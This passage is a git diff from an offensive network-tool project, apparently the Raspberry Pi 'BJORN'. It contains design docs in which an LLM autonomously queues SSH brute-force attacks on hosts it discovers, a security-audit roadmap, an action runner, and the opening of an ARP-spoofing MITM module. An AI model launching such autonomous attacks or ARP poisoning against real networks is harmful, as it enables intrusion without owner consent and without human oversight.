| Exception in LLM Bridge | `try/except` at every level, DEBUG log |
|
||||
|
||||
### Timeouts
|
||||
|
||||
```
|
||||
Chat / complete() → llm_timeout_s (default: 30s)
|
||||
EPD comments → 8s (hardcoded, short to avoid blocking render)
|
||||
Autonomous cycle → 90s (long: may chain multiple tool calls)
|
||||
Advisor → 20s (short prompt + JSON response)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 19. Call sequences
|
||||
|
||||
### Web chat with tool-calling
|
||||
|
||||
```
|
||||
Browser → POST /api/llm/chat {"message": "which hosts are vulnerable?"}
|
||||
└── LLMUtils.handle_chat(data)
|
||||
└── LLMBridge().chat(message, session_id)
|
||||
└── complete(messages, system, tools=_BJORN_TOOLS)
|
||||
└── _call_anthropic(messages, tools=[...])
|
||||
├── POST /v1/messages → stop_reason=tool_use
|
||||
│ └── tool: get_hosts(alive_only=true)
|
||||
│ → _execute_tool → _impl_get_hosts()
|
||||
│ → JSON of hosts
|
||||
├── POST /v1/messages [+ tool result] → end_turn
|
||||
└── returns "3 exposed SSH hosts: 192.168.1.10, ..."
|
||||
← {"status": "ok", "response": "3 exposed SSH hosts..."}
|
||||
```
|
||||
|
||||
### LLM autonomous cycle
|
||||
|
||||
```
|
||||
Thread "LLMOrchestrator" (daemon, interval=60s)
|
||||
└── _run_autonomous_cycle()
|
||||
├── fp = _compute_fingerprint() → (12, 3, 1, 47)
|
||||
├── _has_actionable_change(fp) → True (vuln_count 2→3)
|
||||
├── self._last_fingerprint = fp
|
||||
│
|
||||
└── LLMBridge().complete(prompt, system, tools=[read-only + run_action])
|
||||
└── _call_anthropic(tools=[...])
|
||||
├── POST → tool_use: get_hosts()
|
||||
│ → [{ip: "192.168.1.20", ports: "22,80,443"}]
|
||||
├── POST → tool_use: get_action_history()
|
||||
│ → [...]
|
||||
├── POST → tool_use: run_action("SSHBruteforce", "192.168.1.20")
|
||||
│ → _execute_tool → _impl_run_action()
|
||||
│ → db.queue_action(priority=82, trigger="llm_autonomous")
|
||||
│ → queue_event.set()
|
||||
└── POST → end_turn
|
||||
→ "Queued SSHBruteforce on 192.168.1.20 (Mjolnir strikes the unguarded gate)"
|
||||
→ [if log_reasoning=True] logger.info("[LLM_ORCH_REASONING]...")
|
||||
→ [if log_reasoning=True] _push_to_chat(bridge, prompt, response)
|
||||
```
|
||||
|
||||
### Reading reasoning from chat.html
|
||||
|
||||
```
|
||||
User clicks "Orch Log"
|
||||
└── fetch GET /api/llm/reasoning
|
||||
└── LLMUtils.get_llm_reasoning(handler)
|
||||
└── LLMBridge()._chat_histories["llm_orchestrator"]
|
||||
→ [{"role": "user", "content": "[Autonomous cycle]..."},
|
||||
{"role": "assistant", "content": "Queued SSHBruteforce..."}]
|
||||
← {"status": "ok", "messages": [...], "count": 2}
|
||||
→ Rendered as chat bubbles in #messages
|
||||
```
|
||||
|
||||
### MCP from external client (Claude Desktop)
|
||||
|
||||
```
|
||||
Claude Desktop → tool_call: run_action("NmapScan", "192.168.1.0/24")
|
||||
└── FastMCP dispatch
|
||||
└── mcp_server.run_action(action_name, target_ip)
|
||||
└── _impl_run_action()
|
||||
├── db.queue_action(priority=80, trigger="mcp")
|
||||
└── queue_event.set()
|
||||
← {"status": "queued", "action": "NmapScan", "target": "192.168.1.0/24", "priority": 80}
|
||||
```
|
||||
|
||||
### EPD comment with LLM
|
||||
|
||||
```
|
||||
display.py → CommentAI.get_comment("SSHBruteforce", params={...})
|
||||
└── delay elapsed OR status changed → proceed
|
||||
├── llm_comments_enabled = True ?
|
||||
│ └── LLMBridge().generate_comment("SSHBruteforce", params)
|
||||
│ └── complete([{role:user, content:"Status: SSHBruteforce..."}],
|
||||
│ max_tokens=80, timeout=8)
|
||||
│ ├── LaRuche → "Norse gods smell SSH credentials..." ✓
|
||||
│ └── [or timeout 8s] → None
|
||||
└── text = None → _pick_text("SSHBruteforce", lang, params)
|
||||
└── SELECT FROM comments WHERE status='SSHBruteforce'
|
||||
→ "Processing authentication attempts..."
|
||||
```
|
||||
@@ -1,315 +0,0 @@
|
||||
# BJORN Cyberviking — Roadmap & Changelog
|
||||
|
||||
> Comprehensive audit-driven roadmap for the v2 release.
|
||||
> Each section tracks scope, status, and implementation notes.
|
||||
|
||||
---
|
||||
|
||||
## Legend
|
||||
|
||||
| Tag | Meaning |
|
||||
|-----|---------|
|
||||
| `[DONE]` | Implemented and verified |
|
||||
| `[WIP]` | Work in progress |
|
||||
| `[TODO]` | Not yet started |
|
||||
| `[DROPPED]` | Descoped / won't fix |
|
||||
|
||||
---
|
||||
|
||||
## P0 — Security & Blockers (Must-fix before release)
|
||||
|
||||
### SEC-01: Shell injection in system_utils.py `[DONE]`
|
||||
- **File:** `web_utils/system_utils.py`
|
||||
- **Issue:** `subprocess.Popen(command, shell=True)` on reboot, shutdown, restart, clear_logs
|
||||
- **Fix:** Replace all `shell=True` calls with argument lists (`["sudo", "reboot"]`)
|
||||
- **Risk:** Command injection if any parameter is ever user-controlled
|
||||
|
||||
### SEC-02: Path traversal in DELETE route `[DONE]`
|
||||
- **File:** `webapp.py:497-498`
|
||||
- **Issue:** MAC address extracted from URL path with no validation — `self.path.split(...)[-1]`
|
||||
- **Fix:** URL-decode and validate MAC format with regex before passing to handler
|
||||
|
||||
### SEC-03: Path traversal in file operations `[DONE]`
|
||||
- **File:** `web_utils/file_utils.py`
|
||||
- **Issue:** `move_file`, `rename_file`, `delete_file` accept paths from POST body.
|
||||
Path validation uses `startswith()` which can be bypassed (symlinks, encoding).
|
||||
- **Fix:** Use `os.path.realpath()` instead of `os.path.abspath()` for canonicalization.
|
||||
Add explicit path validation helper used by all file ops.
|
||||
|
||||
### SEC-04: Cortex secrets committed to repo `[DONE]`
|
||||
- **Files:** `bjorn-cortex/Cortex/security_config.json`, `server_config.json`
|
||||
- **Issue:** JWT secret, TOTP secret, admin password hash, device API key in git
|
||||
- **Fix:** Replaced with clearly-marked placeholder values + WARNING field, already in `.gitignore`
|
||||
|
||||
### SEC-05: Cortex WebSocket without auth `[DONE]`
|
||||
- **File:** `bjorn-cortex/Cortex/server.py`
|
||||
- **Issue:** `/ws/logs` endpoint has no authentication — anyone can see training logs
|
||||
- **Fix:** Added `_verify_ws_token()` — JWT via query param or first message, close 4401 on failure
|
||||
|
||||
### SEC-06: Cortex device API auth disabled by default `[DONE]`
|
||||
- **File:** `bjorn-cortex/Cortex/server_config.json`
|
||||
- **Issue:** `allow_device_api_without_auth: true` + empty `device_api_key`
|
||||
- **Fix:** Default to `false`, placeholder API key, CORS origins via `CORS_ORIGINS` env var
|
||||
|
||||
---
|
||||
|
||||
## P0 — Bluetooth Fixes
|
||||
|
||||
### BT-01: Bare except clauses `[DONE]`
|
||||
- **File:** `web_utils/bluetooth_utils.py:225,258`
|
||||
- **Issue:** `except:` swallows all exceptions including SystemExit, KeyboardInterrupt
|
||||
- **Fix:** Replace with `except (dbus.exceptions.DBusException, Exception) as e:` with logging
|
||||
|
||||
### BT-02: Null address passed to BT functions `[DONE]`
|
||||
- **File:** `webapp.py:210-214`
|
||||
- **Issue:** `d.get('address')` can return None, passed directly to BT methods
|
||||
- **Fix:** Add null check + early return with error in each lambda/BT method entry point
|
||||
|
||||
### BT-03: Race condition on bt.json `[DONE]`
|
||||
- **File:** `web_utils/bluetooth_utils.py:200-216`
|
||||
- **Issue:** Read-modify-write on shared file without locking
|
||||
- **Fix:** Add `threading.Lock` for bt.json access, use atomic write pattern
|
||||
|
||||
### BT-04: auto_bt_connect service crash `[DONE]`
|
||||
- **File:** `web_utils/bluetooth_utils.py:219`
|
||||
- **Issue:** `subprocess.run(..., check=True)` raises CalledProcessError if service missing
|
||||
- **Fix:** Use `check=False` and log warning instead of crashing
|
||||
|
||||
---
|
||||
|
||||
## P0 — Web Server Fixes
|
||||
|
||||
### WEB-01: SSE reconnect counter reset bug `[DONE]`
|
||||
- **File:** `web/js/core/console-sse.js:367`
|
||||
- **Issue:** `reconnectCount = 0` on every message — a single flaky message resets counter,
|
||||
enabling infinite reconnect loops
|
||||
- **Fix:** Only reset counter after sustained healthy connection (e.g., 5+ messages)
|
||||
|
||||
### WEB-02: Silent routes list has trailing empty string `[DONE]`
|
||||
- **File:** `webapp.py:474`
|
||||
- **Issue:** Empty string `""` in `silent_routes` matches ALL log messages
|
||||
- **Fix:** Remove empty string from list
|
||||
|
||||
---
|
||||
|
||||
## P1 — Stability & Consistency
|
||||
|
||||
### STAB-01: Uniform error handling pattern `[DONE]`
|
||||
- **Files:** All `web_utils/*.py`
|
||||
- **Issue:** Mix of bare `except:`, `except Exception`, inconsistent error response format
|
||||
- **Fix:** Establish `_json_response(handler, data, status)` helper; catch specific exceptions
|
||||
|
||||
### STAB-02: Add pagination to heavy API endpoints `[DONE]`
|
||||
- **Files:** `web_utils/netkb_utils.py`, `web_utils/orchestrator_utils.py`
|
||||
- **Endpoints:** `/netkb_data`, `/list_credentials`, `/network_data`
|
||||
- **Fix:** Accept `?page=N&per_page=M` query params, return `{data, total, page, pages}`
|
||||
|
||||
### STAB-03: Dead routes & unmounted pages `[DONE]`
|
||||
- **Files:** `web/js/app.js`, various
|
||||
- **Issue:** GPS UI elements with no backend, rl-dashboard not mounted, zombieland incomplete
|
||||
- **Fix:** Remove GPS placeholder, wire rl-dashboard mount, mark zombieland as beta
|
||||
|
||||
### STAB-04: Missing constants for magic numbers `[DONE]`
|
||||
- **Files:** `web_utils/bluetooth_utils.py`, `webapp.py`
|
||||
- **Fix:** Extract timeout values, pool sizes, size limits to named constants
|
||||
|
||||
---
|
||||
|
||||
## P2 — Web SPA Quality
|
||||
|
||||
### SPA-01: Review & fix dashboard.js `[DONE]`
|
||||
- Check stat polling, null safety, error display
|
||||
|
||||
### SPA-02: Review & fix network.js `[DONE]`
|
||||
- D3 graph cleanup on unmount, memory leak check
|
||||
|
||||
### SPA-03: Review & fix credentials.js `[DONE]`
|
||||
- Search/filter robustness, export edge cases
|
||||
|
||||
### SPA-04: Review & fix vulnerabilities.js `[DONE]`
|
||||
- CVE modal error handling, feed sync status
|
||||
|
||||
### SPA-05: Review & fix files.js `[DONE]`
|
||||
- Upload progress, drag-drop edge cases, path validation
|
||||
|
||||
### SPA-06: Review & fix netkb.js `[DONE]`
|
||||
- View mode transitions, filter persistence, pagination integration
|
||||
|
||||
### SPA-07: Review & fix web-enum.js `[DONE]`
|
||||
- Status code filter, date range, export completeness
|
||||
|
||||
### SPA-08: Review & fix rl-dashboard.js `[DONE]`
|
||||
- Canvas cleanup, mount lifecycle, null data handling
|
||||
|
||||
### SPA-09: Review & fix zombieland.js (C2) `[DONE]`
|
||||
- SSE lifecycle, agent list refresh, mark as experimental
|
||||
|
||||
### SPA-10: Review & fix scripts.js `[DONE]`
|
||||
- Output polling cleanup, project upload validation
|
||||
|
||||
### SPA-11: Review & fix attacks.js `[DONE]`
|
||||
- Tab switching, image upload validation
|
||||
|
||||
### SPA-12: Review & fix bjorn.js (EPD viewer) `[DONE]`
|
||||
- Image refresh, zoom controls, null EPD state
|
||||
|
||||
### SPA-13: Review & fix settings-config.js `[DONE]`
|
||||
- Form generation edge cases, chip editor validation
|
||||
|
||||
### SPA-14: Review & fix actions-studio.js `[DONE]`
|
||||
- Canvas lifecycle, node dragging, edge persistence
|
||||
|
||||
---
|
||||
|
||||
## P2 — AI/Cortex Improvements
|
||||
|
||||
### AI-01: Feature selection / importance analysis `[DONE]`
|
||||
- Variance-based feature filtering in data consolidator (drops near-zero variance features)
|
||||
- Feature manifest exported alongside training data
|
||||
- `get_feature_importance()` method on FeatureLogger for introspection
|
||||
- Config: `ai_feature_selection_min_variance` (default 0.001)
|
||||
|
||||
### AI-02: Continuous reward shaping `[DONE]`
|
||||
- Extended reward function with 4 new components: novelty bonus, repeat penalty,
|
||||
diminishing returns, partial credit for long-running failed actions
|
||||
- Helper methods to query attempt counts and consecutive failures from ml_features
|
||||
|
||||
### AI-03: Model versioning & rollback `[DONE]`
|
||||
- Keep up to 3 model versions on disk (configurable)
|
||||
- Model history tracking: version, loaded_at, accuracy, avg_reward
|
||||
- `rollback_model()` method to load previous version
|
||||
- Auto-rollback if average reward drops below previous model after 50 decisions
|
||||
|
||||
### AI-04: Low-data cold-start bootstrap `[DONE]`
|
||||
- Bootstrap scores dict accumulating per (action_name, port_profile) running averages
|
||||
- Blended heuristic/bootstrap scoring (40-80% weight based on sample count)
|
||||
- Persistent `ai_bootstrap_scores.json` across restarts
|
||||
- Config: `ai_cold_start_bootstrap_weight` (default 0.6)
|
||||
|
||||
---
|
||||
|
||||
## P3 — Future Features
|
||||
|
||||
### EPD-01: Multi-size EPD layout engine `[DONE]`
|
||||
- New `display_layout.py` module with `DisplayLayout` class
|
||||
- JSON layout definitions per EPD type (2.13", 2.7")
|
||||
- Element-based positioning: each UI component has named anchor `{x, y, w, h}`
|
||||
- Custom layouts stored in `resources/layouts/{epd_type}.json`
|
||||
- `px()`/`py()` scaling preserved, layout provides reference coordinates
|
||||
- Integrated into `display.py` rendering pipeline
|
||||
|
||||
### EPD-02: Web-based EPD layout editor `[DONE]`
|
||||
- Backend API: `GET/POST /api/epd/layout`, `POST /api/epd/layout/reset`
|
||||
- `GET /api/epd/layouts` lists all supported EPD types and their layouts
|
||||
- `GET /api/epd/layout?epd_type=X` to fetch layout for a specific EPD type
|
||||
- Frontend editor: `web/js/core/epd-editor.js` — 4th tab in attacks page
|
||||
- SVG canvas with drag-and-drop element positioning and corner resize handles
|
||||
- Display mode preview: Color, NB (black-on-white), BN (white-on-black)
|
||||
- Grid/snap, zoom (50-600%), toggleable element labels
|
||||
- Add/delete elements, import/export layout JSON
|
||||
- Properties panel with x/y/w/h editors, font size editors
|
||||
- Undo system (50-deep snapshot stack, Ctrl+Z)
|
||||
- Color-coded elements by type (icons=blue, text=green, bars=orange, etc.)
|
||||
- Transparency-aware checkerboard canvas background
|
||||
- Arrow key nudge, keyboard shortcuts
|
||||
|
||||
### ORCH-01: Per-action circuit breaker `[DONE]`
|
||||
- New `action_circuit_breaker` DB table: failure_streak, circuit_status, cooldown_until
|
||||
- Three states: closed → open (after N fails) → half_open (after cooldown)
|
||||
- Exponential backoff: `min(2^streak * 60, 3600)` seconds
|
||||
- Integrated into `_should_queue_action()` check
|
||||
- Success on half-open resets circuit, failure re-opens with longer cooldown
|
||||
- Config: `circuit_breaker_threshold` (default 3)
|
||||
|
||||
### ORCH-02: Global concurrency limiter `[DONE]`
|
||||
- DB-backed running action count check before scheduling
|
||||
- `count_running_actions()` method in queue.py
|
||||
- Per-action `max_concurrent` support in requirements evaluator
|
||||
- Respects `semaphore_slots` config (default 5)
|
||||
|
||||
### ORCH-03: Manual mode with active scanning `[DONE]`
|
||||
- Background scan timer thread in MANUAL mode
|
||||
- NetworkScanner runs at `manual_mode_scan_interval` (default 180s)
|
||||
- Config: `manual_mode_auto_scan` (default True)
|
||||
- Scan timer auto-stops when switching back to AUTO/AI
|
||||
|
||||
---
|
||||
|
||||
## Changelog
|
||||
|
||||
### 2026-03-12 — Security & Stability Audit
|
||||
|
||||
#### Security
|
||||
- **[SEC-01]** Replaced all `shell=True` subprocess calls with safe argument lists
|
||||
- **[SEC-02]** Added MAC address validation (regex) in DELETE route handler
|
||||
- **[SEC-03]** Strengthened path validation using `os.path.realpath()` + dedicated helper
|
||||
- **[BT-01]** Replaced bare `except:` with specific exception handling + logging
|
||||
- **[BT-02]** Added null address validation in Bluetooth route lambdas and method entry points
|
||||
- **[BT-03]** Added file lock for bt.json read/write operations
|
||||
- **[BT-04]** Changed auto_bt_connect restart to non-fatal (check=False)
|
||||
- **[SEC-04]** Cortex config files: placeholder secrets + WARNING field, already gitignored
|
||||
- **[SEC-05]** Added JWT auth to Cortex WebSocket `/ws/logs` endpoint
|
||||
- **[SEC-06]** Cortex device API auth now required by default, CORS configurable via env var
|
||||
|
||||
#### Bug Fixes
|
||||
- **[WEB-01]** Fixed SSE reconnect counter: only resets after 5+ consecutive healthy messages
|
||||
- **[WEB-02]** Removed empty string from silent_routes that was suppressing all log messages
|
||||
- **[STAB-03]** Cleaned up dead GPS UI references, wired rl-dashboard mount
|
||||
- **[ORCH-BUG]** Fixed Auto→Manual mode switch not resetting status to IDLE (4-location fix):
|
||||
- `orchestrator.py`: Reset all status fields after main loop exit AND after action completes with exit flag
|
||||
- `Bjorn.py`: Reset status even when `thread.join(10)` times out
|
||||
- `orchestrator_utils.py`: Explicit IDLE reset in web API stop handler
|
||||
|
||||
#### Quality
|
||||
- **[STAB-01]** Standardized error handling across web_utils modules
|
||||
- **[STAB-04]** Extracted magic numbers to named constants
|
||||
|
||||
#### SPA Page Review (SPA-01..14)
|
||||
All 18 SPA page modules reviewed and fixed:
|
||||
|
||||
**Pages fully rewritten (11 pages):**
|
||||
- **dashboard.js** — New layout with ResourceTracker, safe DOM (no innerHTML), visibility-aware pollers, proper uptime ticker cleanup
|
||||
- **network.js** — D3 force graph cleanup on unmount, lazy d3 loading, search debounce tracked, simulation stop
|
||||
- **credentials.js** — AbortController tracked, toast timer tracked, proper state reset in unmount
|
||||
- **vulnerabilities.js** — ResourceTracker integration, abort controllers, null safety throughout
|
||||
- **files.js** — Upload progress, drag-drop safety, ResourceTracker lifecycle
|
||||
- **netkb.js** — View mode persistence, filter tracked, pagination integration
|
||||
- **web-enum.js** — Status filter, date range, tracked pollers and timeouts
|
||||
- **rl-dashboard.js** — Canvas cleanup, chart lifecycle, null data guards
|
||||
- **zombieland.js** — SSE lifecycle tracked, agent list cleanup, experimental flag
|
||||
- **attacks.js** — Tab switching, ResourceTracker integration, proper cleanup
|
||||
- **bjorn.js** — Image refresh tracked, zoom controls, null EPD state handling
|
||||
|
||||
**Pages with targeted fixes (7 pages):**
|
||||
- **bjorn-debug.js** — Fixed 3 button event listeners using raw `addEventListener` → `tracker.trackEventListener` (memory leak)
|
||||
- **scheduler.js** — Added `searchDeb` timeout cleanup + state reset in unmount (zombie timer)
|
||||
- **actions.js** — Added resize debounce cleanup in unmount + tracked `highlightPane` timeout (zombie timer)
|
||||
- **backup.js** — Already clean: ResourceTracker, sidebar layout cleanup, state reset (no changes needed)
|
||||
- **database.js** — Already clean: search debounce cleanup, sidebar layout, Poller lifecycle (no changes needed)
|
||||
- **loot.js** — Already clean: search timer cleanup, ResourceTracker, state reset (no changes needed)
|
||||
- **actions-studio.js** — Already clean: runtime cleanup function, ResourceTracker (no changes needed)
|
||||
|
||||
#### AI Pipeline (AI-01..04)
|
||||
- **[AI-01]** Feature selection: variance-based filtering in `data_consolidator.py`, feature manifest export, `get_feature_importance()` in `feature_logger.py`
|
||||
- **[AI-02]** Continuous reward shaping in `orchestrator.py`: novelty bonus, diminishing returns penalty, partial credit for long-running failures, attempt/streak DB queries
|
||||
- **[AI-03]** Model versioning in `ai_engine.py`: 3-model history, `rollback_model()`, auto-rollback after 50 decisions if avg reward drops
|
||||
- **[AI-04]** Cold-start bootstrap in `ai_engine.py`: persistent `ai_bootstrap_scores.json`, blended heuristic/bootstrap scoring with adaptive weighting
|
||||
|
||||
#### Orchestrator (ORCH-01..03)
|
||||
- **[ORCH-01]** Circuit breaker: new `action_circuit_breaker` DB table in `db_utils/queue.py`, 3-state machine (closed→open→half-open), exponential backoff `min(2^N*60, 3600)s`, integrated into `action_scheduler.py` scheduling decisions and `orchestrator.py` post-execution
|
||||
- **[ORCH-02]** Global concurrency limiter: `count_running_actions()` in `db_utils/queue.py`, pre-schedule check in `action_scheduler.py` against `semaphore_slots` config
|
||||
- **[ORCH-03]** Manual mode scanning: background `_scan_loop` thread in `orchestrator_utils.py`, runs at `manual_mode_scan_interval` (180s default), auto-stops on mode switch
|
||||
|
||||
#### EPD Multi-Size (EPD-01..02)
|
||||
- **[EPD-01]** New `display_layout.py` module: `DisplayLayout` class with JSON-based element positioning, built-in layouts for 2.13" and 2.7" displays, custom layout override via `resources/layouts/`, 20+ elements integrated into `display.py` rendering pipeline
|
||||
- **[EPD-02]** Backend API: `GET/POST /api/epd/layout`, `POST /api/epd/layout/reset`, `GET /api/epd/layouts` — endpoints in `web_utils/system_utils.py`, routes in `webapp.py`
|
||||
- **[EPD-02]** Frontend editor: `web/js/core/epd-editor.js` as 4th tab in attacks page — SVG drag-and-drop canvas, resize handles, Color/NB/BN display modes, grid/snap/zoom, add/delete elements, import/export JSON, undo stack, font size editing, arrow key nudge
|
||||
|
||||
#### New Configuration Parameters
|
||||
- `ai_feature_selection_min_variance` (0.001) — minimum variance for feature inclusion
|
||||
- `ai_model_history_max` (3) — max model versions kept on disk
|
||||
- `ai_auto_rollback_window` (50) — decisions before auto-rollback evaluation
|
||||
- `ai_cold_start_bootstrap_weight` (0.6) — bootstrap vs static heuristic weight
|
||||
- `circuit_breaker_threshold` (3) — consecutive failures to open circuit
|
||||
- `manual_mode_auto_scan` (true) — auto-scan in MANUAL mode
|
||||
- `manual_mode_scan_interval` (180) — seconds between manual mode scans
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"social": {
|
||||
"discord": "https://discord.gg/B3ZH9taVfT",
|
||||
"reddit": null
|
||||
},
|
||||
"buymeacoffee": "https://buymeacoffee.com/infinition"
|
||||
}
|
||||
@@ -1,121 +0,0 @@
|
||||
"""action_runner.py - Generic subprocess wrapper for running Bjorn actions from the web UI."""
|
||||
|
||||
import sys
|
||||
import os
|
||||
import signal
|
||||
import importlib
|
||||
import argparse
|
||||
import traceback
|
||||
|
||||
|
||||
def _inject_extra_args(shared_data, remaining):
|
||||
"""Parse leftover --key value pairs and set them as shared_data attributes."""
|
||||
i = 0
|
||||
while i < len(remaining):
|
||||
token = remaining[i]
|
||||
if token.startswith("--"):
|
||||
key = token[2:].replace("-", "_")
|
||||
if i + 1 < len(remaining) and not remaining[i + 1].startswith("--"):
|
||||
val = remaining[i + 1]
|
||||
# Auto-cast numeric values
|
||||
try:
|
||||
val = int(val)
|
||||
except ValueError:
|
||||
try:
|
||||
val = float(val)
|
||||
except ValueError:
|
||||
pass
|
||||
setattr(shared_data, key, val)
|
||||
i += 2
|
||||
else:
|
||||
setattr(shared_data, key, True)
|
||||
i += 1
|
||||
else:
|
||||
i += 1
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Bjorn Action Runner - bootstraps shared_data and calls action.execute()"
|
||||
)
|
||||
parser.add_argument("b_module", help="Action module name (e.g. ssh_bruteforce)")
|
||||
parser.add_argument("b_class", help="Action class name (e.g. SSHBruteforce)")
|
||||
parser.add_argument("--ip", default="", help="Target IP address")
|
||||
parser.add_argument("--port", default="", help="Target port")
|
||||
parser.add_argument("--mac", default="", help="Target MAC address")
|
||||
|
||||
args, remaining = parser.parse_known_args()
|
||||
|
||||
# Bootstrap shared_data (creates fresh DB conn, loads config)
|
||||
print(f"[runner] Loading shared_data for {args.b_class}...")
|
||||
from init_shared import shared_data
|
||||
|
||||
# Graceful shutdown on SIGTERM (user clicks Stop in the UI)
|
||||
def _sigterm(signum, frame):
|
||||
print("[runner] SIGTERM received, requesting graceful stop...")
|
||||
shared_data.orchestrator_should_exit = True
|
||||
|
||||
signal.signal(signal.SIGTERM, _sigterm)
|
||||
|
||||
# Inject extra CLI flags as shared_data attributes
|
||||
# e.g. --berserker-mode tcp -> shared_data.berserker_mode = "tcp"
|
||||
_inject_extra_args(shared_data, remaining)
|
||||
|
||||
# Dynamic import (custom/ paths use dots: actions.custom.my_script)
|
||||
module_path = f"actions.{args.b_module.replace('/', '.')}"
|
||||
print(f"[runner] Importing {module_path}...")
|
||||
module = importlib.import_module(module_path)
|
||||
action_class = getattr(module, args.b_class)
|
||||
|
||||
# Instantiate with shared_data (same as orchestrator)
|
||||
action_instance = action_class(shared_data)
|
||||
|
||||
# Resolve MAC from DB if not provided
|
||||
mac = args.mac
|
||||
if not mac and args.ip:
|
||||
try:
|
||||
rows = shared_data.db.query(
|
||||
"SELECT \"MAC Address\" FROM hosts WHERE IPs = ? LIMIT 1",
|
||||
(args.ip,)
|
||||
)
|
||||
if rows:
|
||||
mac = rows[0].get("MAC Address", "") or ""
|
||||
except Exception:
|
||||
mac = ""
|
||||
|
||||
# Build row dict (matches orchestrator.py:609-614)
|
||||
ip = args.ip or ""
|
||||
port = args.port or ""
|
||||
row = {
|
||||
"MAC Address": mac or "",
|
||||
"IPs": ip,
|
||||
"Ports": port,
|
||||
"Alive": 1,
|
||||
}
|
||||
|
||||
# Execute
|
||||
print(f"[runner] Executing {args.b_class} on {ip or 'global'}:{port}...")
|
||||
|
||||
if hasattr(action_instance, "scan") and not ip:
|
||||
# Global action (e.g. NetworkScanner)
|
||||
action_instance.scan()
|
||||
result = "success"
|
||||
else:
|
||||
if not ip:
|
||||
print(f"[runner] ERROR: {args.b_class} requires --ip but none provided")
|
||||
sys.exit(1)
|
||||
result = action_instance.execute(ip, port, row, args.b_class)
|
||||
|
||||
print(f"[runner] Finished with result: {result}")
|
||||
sys.exit(0 if result == "success" else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
print("\n[runner] Interrupted")
|
||||
sys.exit(130)
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
sys.exit(2)
|
||||
@@ -1,34 +0,0 @@
|
||||
"""IDLE.py - No-op placeholder action for idle state."""
|
||||
|
||||
from shared import SharedData
|
||||
|
||||
b_class = "IDLE"
|
||||
b_module = "idle"
|
||||
b_status = "IDLE"
|
||||
b_enabled = 0
|
||||
b_action = "normal"
|
||||
b_trigger = None
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_priority = 0
|
||||
b_timeout = 60
|
||||
b_cooldown = 0
|
||||
b_name = "IDLE"
|
||||
b_description = "No-op placeholder action representing idle state."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "1.0.0"
|
||||
b_max_retries = 0
|
||||
b_stealth_level = 10
|
||||
b_risk_level = "low"
|
||||
b_tags = ["idle", "placeholder"]
|
||||
b_category = "system"
|
||||
b_icon = "IDLE.png"
|
||||
|
||||
|
||||
class IDLE:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
"""No-op action. Always returns success."""
|
||||
return "success"
|
||||
|
Before Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 20 KiB |
|
Before Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 20 KiB |
|
Before Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 7.1 KiB |
|
Before Width: | Height: | Size: 6.6 KiB |
|
Before Width: | Height: | Size: 21 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 18 KiB |
|
Before Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 24 KiB |
|
Before Width: | Height: | Size: 21 KiB |
|
Before Width: | Height: | Size: 14 KiB |
@@ -1,321 +0,0 @@
|
||||
"""arp_spoofer.py - Bidirectional ARP cache poisoning for MITM positioning.
|
||||
|
||||
Spoofs target<->gateway ARP entries; auto-restores tables on exit.
|
||||
"""
|
||||
|
||||
import os
|
||||
import time
|
||||
import logging
|
||||
import json
|
||||
import subprocess
|
||||
import datetime
|
||||
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="arp_spoofer.py", level=logging.DEBUG)
|
||||
|
||||
# Silence scapy warnings
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
logging.getLogger("scapy").setLevel(logging.ERROR)
|
||||
|
||||
# ──────────────────────── Action Metadata ────────────────────────
|
||||
b_class = "ARPSpoof"
|
||||
b_module = "arp_spoofer"
|
||||
b_status = "arp_spoof"
|
||||
b_port = None
|
||||
b_service = '[]'
|
||||
b_trigger = "on_host_alive"
|
||||
b_parent = None
|
||||
b_action = "aggressive"
|
||||
b_category = "network_attack"
|
||||
b_name = "ARP Spoofer"
|
||||
b_description = (
|
||||
"Bidirectional ARP cache poisoning between target host and gateway for "
|
||||
"MITM positioning. Detects gateway automatically, spoofs both directions, "
|
||||
"and cleanly restores ARP tables on completion. Educational lab use only."
|
||||
)
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "ARPSpoof.png"
|
||||
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 30
|
||||
b_cooldown = 3600
|
||||
b_rate_limit = "2/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 2
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
b_tags = ["mitm", "arp", "network", "layer2"]
|
||||
|
||||
b_args = {
|
||||
"duration": {
|
||||
"type": "slider", "label": "Duration (s)",
|
||||
"min": 10, "max": 300, "step": 10, "default": 60,
|
||||
"help": "How long to maintain the ARP poison (seconds)."
|
||||
},
|
||||
"interval": {
|
||||
"type": "slider", "label": "Packet interval (s)",
|
||||
"min": 1, "max": 10, "step": 1, "default": 2,
|
||||
